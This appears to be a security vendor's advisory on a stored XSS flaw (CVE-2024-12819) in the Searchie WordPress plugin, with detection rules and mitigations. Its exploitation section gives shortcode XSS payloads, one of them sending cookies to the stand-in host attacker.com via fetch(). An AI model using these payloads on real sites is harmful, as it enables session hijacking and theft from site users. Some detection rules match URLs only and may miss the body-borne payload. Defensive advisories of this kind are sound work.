CVE-2024-12819

Executive Summary

CVE-2024-12819 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the Searchie plugin for WordPress, affecting all versions up to and including 1.17.0. The flaw resides in the sio_embed_media shortcode, where user-supplied attributes are not properly sanitized or escaped. This allows authenticated attackers with at least contributor-level access to inject arbitrary web scripts. When a user (including administrators) visits a page containing the malicious shortcode, the script executes in their browser, potentially leading to session hijacking, defacement, or data theft.

Given the widespread use of WordPress and the plugin's popularity for embedding media, this vulnerability poses a significant risk to site integrity. The EPSS score is currently 0.0%, indicating low exploitation activity, but the lack of a patch makes it a ticking time bomb for unmaintained sites.

WordPress Ecosystem Context

This vulnerability is specific to the Searchie WordPress plugin. It is not related to Apache, Nginx, or any other web server software. The attack vector relies on the plugin's shortcode processing, which is a core WordPress feature.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: Low (PR:L) – Attacker needs contributor-level access or higher.
• User Interaction: Required (UI:R) – A user must visit the injected page.
• Scope: Changed (S:C) – The vulnerability can impact resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited modification of content.
• Availability Impact: None (A:N) – No direct denial of service.

Threat Level: Medium. While the CVSS score is moderate, the potential for stored XSS in a widely-used plugin with no patch available elevates the risk for unmaintained sites.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS in the sio_embed_media shortcode. WordPress shortcodes allow users to embed dynamic content via simple tags like [sio_embed_media attribute="value"]. The plugin fails to properly sanitize the attribute values before rendering them in the page HTML.

Attack Flow:

1. An authenticated user with contributor-level access creates or edits a post/page.
2. They insert the shortcode [sio_embed_media src="x" onerror="alert('XSS')"] or similar payload.
3. The plugin processes the shortcode and outputs the attribute values without escaping.
4. When any user (including admins) views the page, the malicious script executes in their browser.

Root Cause: The plugin uses echo $attribute or similar unsanitized output instead of esc_attr() or wp_kses() to handle user-supplied attributes.

Vulnerable vs. Patched Code

Vulnerable Code (Searchie plugin <= 1.17.0):

// In a shortcode handler function
function sio_embed_media_shortcode($atts) {
    $src = $atts['src'];
    return '<iframe src="' . $src . '"></iframe>';
}

This directly concatenates user input into HTML without escaping.

Patched Code (Hypothetical fix):

function sio_embed_media_shortcode($atts) {
    $src = esc_url($atts['src']); // Sanitize URL
    return '<iframe src="' . $src . '"></iframe>';
}

Or using wp_kses() to allow only safe attributes.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Searchie plugin <= 1.17.0
• Contributor-level account or higher

Exploit Steps:

1. Log in as a contributor.
2. Create a new post or page.
3. Insert the following shortcode:

   [sio_embed_media src="x" onmouseover="alert(document.cookie)"]
   

4. Publish the post.
5. When an admin or other user hovers over the embedded media, the XSS triggers.

Advanced Payload:

[sio_embed_media src="x" onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"]

Blue Team (Detection & Hardening)

Detection:

• Monitor for posts/pages containing [sio_embed_media with suspicious attributes (e.g., onerror, onmouseover).
• Use WAF rules to block shortcodes with event handlers.

Hardening:

• Disable the Searchie plugin until a patch is available.
• Restrict contributor-level users from using shortcodes via remove_shortcode('sio_embed_media') in functions.php.
• Implement Content Security Policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/searchie/searchie.php (version <= 1.17.0)
• Shortcode pattern: [sio_embed_media src="*" on*="*"]
• Network: Outbound requests to attacker-controlled domains from WordPress admin pages.
• Logs: WordPress audit logs showing creation of posts with sio_embed_media shortcode by non-admin users.

Detection Engineering

YARA Rule

rule CVE_2024_12819_Searchie_XSS {
    meta:
        description = "Detects malicious shortcode injection in Searchie plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-12819"
    strings:
        $shortcode = /\[sio_embed_media\s+[^\]]*?(onerror|onmouseover|onclick|onload)\s*=/i
        $vuln_file = "searchie.php"
    condition:
        $shortcode or $vuln_file
}

Sigma Rule

title: CVE-2024-12819 Searchie Stored XSS Detection
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit Stored XSS in Searchie plugin via shortcode injection
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: 'sio_embed_media'
        http.url|re: 'onerror|onmouseover|onclick|onload'
    condition: selection
falsepositives:
    - Legitimate use of event handlers in shortcodes (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-12819 Searchie Stored XSS Attempt"; flow:to_server; content:"sio_embed_media"; http_uri; pcre:"/(onerror|onmouseover|onclick|onload)\s*=/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Searchie plugin until a patch is released.
2. Audit existing content for malicious shortcodes using the YARA rule above.
3. Restrict user roles – Remove shortcode capabilities from contributor and author roles.

Long-term Fix:

• Apply the vendor patch when available (currently UNKNOWN).
• Implement input validation and output escaping in custom shortcodes.

Workaround:

• Add the following to your theme's functions.php to block the vulnerable shortcode:

add_action('init', function() {
    remove_shortcode('sio_embed_media');
});

Valters IT
Securing Digital Frontiers